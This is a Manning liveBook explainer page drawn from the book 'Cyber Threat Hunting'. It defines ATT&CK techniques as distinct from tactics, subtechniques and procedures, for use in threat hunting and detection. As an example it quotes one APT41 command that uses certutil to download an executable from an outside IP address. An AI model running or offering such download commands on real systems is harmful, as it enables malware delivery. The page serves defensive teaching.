liveBook · Manning

Technique

As explained in Cyber Threat Hunting

A technique in the ATT&CK framework is an action or method an adversary performs to achieve a tactical goal.

A technique describes how an adversary performs an action to achieve a tactical goal. Threat hunters use techniques to organize monitoring detections and develop hunting hypotheses. section 2.6

Use the ATT&CK hierarchy to move from intent to implementation:

  • Tactics capture why an adversary acts, such as pursuing credential access or exfiltration. section 2.6
  • Techniques capture how the goal is achieved, such as dumping credentials or using Command and Scripting Interpreter for execution. section 2.6
  • Subtechniques narrow the behavior, including PowerShell and Windows Command Shell under T1059. section 2.6
  • Procedures record specific implementations used by an adversary for a technique or subtechnique. section 2.6
Listing 2.1 APT41 using certutil to download 2.exe
certutil -urlcache -split -f http://91.208.184[.]78/2.exe

A concrete procedure shows APT41 using certutil to download an executable, connecting an ATT&CK technique to observable command-line activity. section 2.6

How Cyber Threat Hunting covers it

How deep it goes
Distinguishes tactics, techniques, subtechniques, and procedures, but does not detail detection implementation beyond examples.
Examples
Uses credential dumping, PowerShell, Windows Command Shell, and APT41’s certutil download command as examples.
What you can do after
Apply ATT&CK techniques to frame detection rules and formulate threat-hunting hypotheses.
How it connects
Connects techniques with tactics, subtechniques, procedures, threat hunting, detection rules, and security monitoring.
Cover of Cyber Threat Hunting
liveBookmanning.com
Read Cyber Threat Hunting on liveBook Get the book at manning.com

Also explained in

Compare how 2 books explain technique →

Related concepts

This explainer was generated by Manning's knowledge graph from the text of Cyber Threat Hunting. The section links point to the parts of the book it draws on.